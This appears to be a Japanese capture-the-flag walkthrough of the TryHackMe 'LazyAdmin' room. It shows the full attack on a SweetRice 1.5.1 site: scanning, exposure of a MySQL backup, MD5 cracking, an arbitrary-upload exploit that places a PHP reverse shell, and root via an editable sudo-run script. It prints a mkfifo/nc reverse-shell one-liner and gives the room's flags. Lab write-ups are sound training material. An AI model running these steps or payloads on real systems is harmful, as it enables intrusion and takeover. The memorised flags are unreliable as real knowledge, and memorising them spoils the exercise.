【TryHackMe】LazyAdmin：Walkthrough

# 概要

TryHackMe「LazyAdmin」のWalkthroughです。

https://tryhackme.com/r/room/lazyadmin

# Task1

## **Q1**.*What is the user flag?*

`nmap`を実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.68.113    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 05:38 EDT
Nmap scan report for 10.10.68.113
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_  256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.55 seconds
```

`ssh:22`,`http:80`がオープンしていると分かりました。

隠しディレクトリを列挙します。

```
$ gobuster dir -u http://10.10.68.113 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

2つのパスがわかりました。

```
/content              (Status: 301) [Size: 314] [--> http://10.10.68.113/content/]
/server-status        (Status: 403) [Size: 277]
```

`/content`にアクセスすると`SweetRice`が使われていると分かりました。

![content page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/69e37006-96a7-367f-a81f-de88c3794f8c.png)

GitHubでディレクトリ構成を把握できました。

https://github.com/sweetrice/SweetRice/tree/master

`/content/inc/latest.txt`にアクセスし、バージョンが`1.5.1`だとわかりました。

![version.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/295db341-705b-b865-0aab-db35075f1121.png)

エクスプロイトコードを検索するといくつかヒットしました。

```
$ searchsploit sweetrice 1.5.1
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
SweetRice 1.5.1 - Arbitrary File Download                                          | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload                                            | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure                                                | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery                                       | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution                  | php/webapps/40700.html
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

`SweetRice 1.5.1 - Arbitrary File Upload`などを見るとログイン情報が必要なので他を当たります。

```php/webapps/40716.py
username = input("Enter Username : ")
password = input("Enter Password : ")
filename = input("Enter FileName (Example:.htaccess,shell.php5,index.html) : ")
file = {'upload[]': open(filename, 'rb')}

payload = {
    'user':username,
    'passwd':password,
    'rememberMe':''
}
```

`SweetRice 1.5.1 - Backup Disclosure`に注目します。

https://www.exploit-db.com/exploits/40718

これは`http://localhost/inc/mysql_backup`にアクセスするとMysqlのバックアップファイルを取得できるということです。

今回の環境では`http://<target ip>/content/inc/mysql_backup`にアクセスするとバックアップファイルを得られました。

![mysql backup.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3a3ba9fb-48aa-775a-148f-8f0d7a526847.png)

バックアップファイルを見ていると、クレデンシャル情報を見つけました。

```
"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\
```

`Username: manager`,パスワードはハッシュ化されています。
ハッシュ値を調べるとMD5だとわかりました。

![hash analyzer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/48c267f2-6e05-23fc-d416-01aa646271c8.png)

ハッシュ値の解析をします。

```
$ john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123      (?)     
1g 0:00:00:00 DONE (2024-06-13 07:45) 14.28g/s 482742p/s 482742c/s 482742C/s coco21..redlips
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

パスワードが`Password123`だとわかりました。

`/content/as`にアクセスするとログインフォームがあるので、得られたクレデンシャル情報でログインを試みます。

![login page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/66eca56c-3d95-2cbd-3881-ddeb8ac089d5.png)

成功しました。

![login success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0292a7da-d3ec-cc40-c91d-6ba69a79c589.png)

ログイン情報を得られたので`SweetRice 1.5.1 - Arbitrary File Upload`の悪用を試みます。

```
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|  _________                      __ __________.__                  |
| /   _____/_  _  __ ____   _____/  |\______   \__| ____  ____      |
| \_____  \ \/ \/ // __ \_/ __ \   __\       _/  |/ ___\/ __ \     |
| /        \     /\  ___/\  ___/|  | |    |   \  \  \__\  ___/     |
|/_______  / \/\_/  \___  >\___  >__| |____|_  /__|\___  >___  >    |
|        \/             \/     \/            \/        \/    \/     |
|    > SweetRice 1.5.1 Unrestricted File Upload                     |
|    > Script Cod3r : Ehsan Hosseini                                |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+

Enter The Target URL(Example : localhost.com) : 10.10.68.113/content
Enter Username : manager
Enter Password : Password123
Enter FileName (Example:.htaccess,shell.php5,index.html) : php-reverse-shell.php5
[+] Sending User&Pass...
[+] Login Succssfully...
[+] File Uploaded...
[+] URL : http://10.10.68.113/content/attachment/php-reverse-shell.php5
```

PHPのリバースシェルコードをアップロードしました。

Netcatでリッスンします。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

`http://10.10.68.113/content/attachment/php-reverse-shell.php5`にアクセスすることで、シェルを取得できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.68.113] 34968
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 14:47:53 up  2:17,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

`/home/itguy/user.txt`を閲覧してフラグゲットです。

```
$ cat /home/itguy/user.txt
cat /home/itguy/user.txt
THM{63e5bce9271952aad1113b6f1ac28a07}
```

**A**.**THM{63e5bce9271952aad1113b6f1ac28a07}**

## **Q2**.*What is the root flag?*

`sudo -l`を見ます。

```
$ sudo -l
sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
```

`sudo /usr/bin/perl /home/itguy/backup.pl`がパスワードなしで特権ユーザーとして実行できると分かりました。

`backup.pl`の内容を見てみます。

```backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
```

`/etc/copy.sh`を実行していると分かりました。
`/etc/copy.sh`の内容を見ます。

```/etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
```

特にこのコードで権限昇格には繋がらなさそうですね。
/etc/copy.shは`www-data`アカウントで編集可能なので編集して権限昇格につなげます。

pythonが使えると分かりました。

```
python --version
Python 2.7.12
```

https://gtfobins.github.io/gtfobins/python/

上記のGTFOBinsを参考にpythonの権限昇格コードを`/etc/copy.sh`に保存します。

```
$ echo '/usr/bin/python -c '"'"'import os; os.system("/bin/sh")'"'" > /etc/copy.sh
```

`/home/itguy/backup.pl`を実行すると特権ユーザーのシェルを獲得できました。

```
$ sudo /usr/bin/perl /home/itguy/backup.pl
sudo /usr/bin/perl /home/itguy/backup.pl
# whoami
whoami
root
```

`/root/root.txt`のフラグを取得できました。

```
# cat /root/root.txt
cat /root/root.txt
THM{6637f41d0177b6f37cb20d775124699f}
```

**A**.**THM{6637f41d0177b6f37cb20d775124699f}**